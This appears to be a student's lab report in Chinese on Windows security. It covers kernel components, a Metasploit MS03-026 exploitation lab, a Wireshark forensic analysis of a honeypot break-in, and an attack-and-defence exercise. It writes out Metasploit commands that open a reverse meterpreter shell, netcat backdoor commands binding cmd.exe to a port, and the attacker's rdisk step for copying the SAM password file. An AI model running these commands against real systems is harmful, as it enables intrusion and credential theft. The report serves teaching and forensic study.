学习总结及实践内容
Windows 基本结构
下表是 Windoows 系统核心组件的文件名:
文件名 | 组件 |
---|---|
Ntoskrnl.exe | 执行体和内核 |
Ntkrnlpa.exe (32位才有) | 支持 PAE |
Hal.dll | 硬件抽象层 |
Win32k.sys | 子系统的内核模式部分 |
Ntdll.dll | 内部函数 |
Kernal32.dll,Advapi32.dll,User32.dll,Gdi32.dll | 核心子系统的组件 |
Windows 操作系统内核的基本模块包括如下:
- Windows 执行体:即 Windows 内核核心文件 ntoskrnl.exe 的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O 管理、网络连接、进程间通信,以及安全服务。
- Windows 内核体:即 Windows 内核核心文件 moskrnl.exe 中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现的高层次的功能服务。
- 设备驱动程序:包括将用户 I/O 操作映射为特定硬件设备 I/O 请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。
- 硬件抽象层:即 hal.dll 文件,是用于屏蔽 Windows 内核与平台硬件差异性的底层代码。
- Windows 窗口与图形界面接口内核实现代码:即 win32k.sys 文件。
Windows 橾作系统在用户态的代码模块则包括如下:
- 系统支持进程:Windows 开机自动启动的系统内建服务进程,如负责登录用户身份认证的 logon 进程、会话管理进程等。
- 环境子系统服务进程:为操作系统运行环境提供支待的服务进程,Windows XP 只支待 Windows 环境子系统,而符合 POSIX 标准的环境子系统则作为 UNIX 产品的免费服务所提供。
- 服务进程:通过 Windows 的服务管理机制所启动的系统及网络服务,如 Task Scheduler 任务管理器服务,Microsoft SQL Server 网络服务等。
- 用户应用软件:在用户态执行的各类用户应用软件。
- 核心子系统 DLL: 即 kernel32.dll/user32.dll/gdi32.dll/advapi32.dll 等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统 API 函数映射到相应的一个或多个 Windows 内部的系统服务调用。
Windows 远程安全攻防技术
- 远程口令猜测与破解攻击;
- 攻击 Windows 网络服务;
- 攻击 Windows 客户端及用户。
针对特定目标的渗透测试攻击过程
- 漏洞扫描测试:渗透测试者可以对目标系统扫描,从而发现系统中存在的已知安全漏洞。
- 查找针对发现漏洞的渗透代码:根据安全漏洞信息库中的索引信息,渗透测试者可以在安全社区的一些渗透攻击代码资源共享站点找到针对特定安全漏洞的渗透攻击代码资源。
- 实施渗透测试:在选择完毕针对特定目标存在安全漏洞的渗透代码之后,渗透测试者就可以实施真正的漏洞利用攻击过程,但可否达成测试者的预期目标则取决于渗透代码和攻击目标的软件环境是否匹配。
Meatsploit 简介
Metasploit 自 2004 年问世时,就立即引起了整个安全社区的高度关注,并很快成为最流行的渗透测试软件。Metasploit 不仅为渗透测试的初学者提供了一款功能强大、简单易用的软件,其漏洞利用代码库还是安全技术人员进行漏洞分析与研究的重要资源。甚至,当前 Metasploit 已经成为安全社区进行软件安全漏洞分析研究与开发的通用平台。随着 Metasploit 的流行,以 Metasploit 模块发布的漏洞利用程序成为漏洞发布的主流,同时相关书籍、资料也如泉涌般涌入市面。毋庸置疑,Meatsploit 已经成为安全社区一颗璀璨的明珠,是安全技术人员“出门在外,有备无患”的渗透测试软件。
动手实践:Metasploit Windows Attack
任务:使用 Metasploit 软件进行 Windows 远程渗透攻击实验。
具体任务内容:使用 Windows Attacker/BT4 攻击机尝试对 Windows Metasploitable 靶机上的MS08-067 漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤:
- 启动 metasploit 软件,可根据个人喜好使用 msfconsole、msfgui、msfweb 之一;
- 使用 exploit: windows/smb/ms08_067_netapi 渗透攻击模块;
- 选择攻击 PAYLOAD 为远程 shell,(正向或反向连接均可);
- 设置渗透攻击参数(RHOST, LHOST, TARGET 等);
- 执行渗透攻击;
- 查看是否正确得到远程 Shell,并查看获得的权限。
实验环境:
名称 | IP |
---|---|
Kali | 192.168.1.7 |
Win2KServer | 192.168.1.17 |
在 Kali 攻击机终端使用以下命令进入 Metasploit:
sudo su
sudo apt-get install metasploit-framework
msfconsole
使用 MS03-026 作为攻击的目标漏洞:
use exploit/windows/dcerpc/ms03_026_dcom
设置打开反向连接的载荷:
set PAYLOAD windows/meterpreter/reverse_tcp
设置攻击机 IP:
set LHOST 192.168.1.7
设置靶机 IP:
set RHOST 192.168.1.17
开始攻击:
exploit
上图表示攻击成功,接下来运行 shell
指令,开启靶机的 shell:
使用 ipconfig
验证:
命令执行成功,攻击成功。
Windows 远程控制与后门程序
命令行远程控制工具
在安全业界具有“瑞士军刀”之称的 Netcat 工具是攻击者们最常用的命令行远程控制工具,也提供了 Windows 版本。Netcat 可以通过 nc -L -d -e cmd.exe -p 80
命令启动后门服务,监听所配置的 TCP 80 端口。
Metasploit 渗透测试软件中的 Meterpreter 攻击负载模块也是一个功能非常丰富和强大的命令行远程控制工具,它具有本地提权、敏感信息窃取和日志清除的功能,同时它也具备远程控制目标系统的功能。
图形化远程控制工具
业界最著名的一个免费图形化远程控制工具就是由英国剑桥的 AT&T Research Lab 研发的 VNC 软件了,在目标受控主机上安装 VNC 的服务器端并启动之后,就可以在控制端使用 VNC 客户端软件来进行远程控制。
在黑客业界,也有一些专门用于控制受控主机的后门程序,最经典的是由美国死牛崇拜黑客团队开发的 BO 及 8O2K,而国内黑客圈也产出了几款非常著名、功能强大的远程控制工具,如冰河、广外女生、灰鸽子等。
实践作业
取证分析实践:解码一次成功的 NT 系统破解攻击。
你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击?
- 攻击者如何使用这个破解工具进入并控制了系统?
- 当攻击者获得系统的访问权后做了什么?
- 我们如何防止这样的攻击?
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
首先下载日志文件“snort-0204@0117.log”,使用 Wireshark 直接打开。
攻击者使用了什么破解工具进行攻击?
根据题意进行筛选:
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
发现攻击者进行了 HTTP 访问,可以看到攻击者的操作系统:
在 117 号数据包,发现攻击者打开了系统启动文件 boot.ini:
在 149 号数据包,追踪 TCP 流,可以看到 select * from
等字样,可以知道这是 SQL 注入攻击:
通过搜索 ADM!ROX!YOUR!WORLD
,在这里找到了漏洞描述和攻击工具的相关说明:
攻击者如何使用这个破解工具进入并控制了系统?
在 179 号数据包追踪 TCP 流,可以看到如下指令,攻击者创建了一个 ftpcom 脚本:
cmd /c echo user johna2k > ftpcom
在 299 号数据包追踪 TCP 流,发现攻击者试图连接至 FTP 服务器 204.42.253.18
,但未成功:
直到 1106 号数据包,FTP 连接成功:
继续查看到 1224 号数据包,看到攻击者执行了:
cmd1.exe /c nc -l -p 6969 -e cmd1.exe
表示攻击者连接了 6969 端口,并且获得了访问权限。
至此,攻击者完成了进入系统并且获得访问权的过程。
攻击者获得系统访问权限后做了什么?
筛选 tcp.port == 6969
,并追踪 TCP 流:
攻击者首先尝试列出会话,但因为权限问题被拒绝:
列出用户:
发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:
删除了若干文件:
使用 rdisk
尝试获得 SAM 口令文件(安全账号管理器),rdisk
是磁盘修复程序,执行 rdisk /s-
备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印:
我们如何防止这样的攻击?
- 升级系统到最新的稳定版本
- 及时更新微软官方的漏洞补丁
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
是。
在 4351 号数据包,攻击者留下记录:
团队对抗实践:Windows 系统远程渗透攻击与分析。
攻防对抗实践内容:攻击方 Metasploit Windows Attack, 防御方:wireshark 捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补丁进行修补,给出攻防过程报告。
攻击方:使用 metasploit, 选择 metasploitable 中的漏洞进行渗透攻击,获得控制权。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合 wireshark/snort 分析攻击过程,获取攻击者 IP 地址、目标 IP 和端口、攻击发起时间、攻击利用漏洞、攻击使用 shellcode,以及攻击成功之后在本地执行的命令输入等信息。
实验环境:
名称 | IP |
---|---|
Kali | 192.168.1.7 |
Win2KServer | 192.168.1.17 |
在 Kali 攻击机终端使用以下命令进入 Metasploit:
msfconsole
使用 MS03-026 作为攻击的目标漏洞:
use exploit/windows/dcerpc/ms03_026_dcom
设置打开反向连接的载荷:
set PAYLOAD windows/meterpreter/reverse_tcp
设置攻击机 IP:
set LHOST 192.168.1.7
设置靶机 IP:
set RHOST 192.168.1.17
开始攻击:
exploit
打开 Wireshark,筛选:
ip.addr == 192.168.1.7 && ip.addr == 192.168.1.17
攻击机先进入 shell
,再输入 ipconfig
指令,在 Wireshark 捕获查看:
上图就是攻击机输入 ipconfig
并执行,靶机返回执行结果的相关数据包。
学习中遇到的问题及解决
Q:kali 中 msfconsole
命令无效。
A:安装 metasploit-framework
即可解决。
Q:kali 中利用 win 的漏洞攻击后,执行 shell
指令无效。
A:多试了几次就正常了。
Q:使用 MS08-067 漏洞攻击靶机,靶机卡死,无法进行后续操作。
A:使用其他漏洞进行攻击。
总结
网络攻防坑是真的多,分析别人的攻防日志也是需要耐心的。很多攻击原理还是不怎么明白,慢慢尝试慢慢学习吧。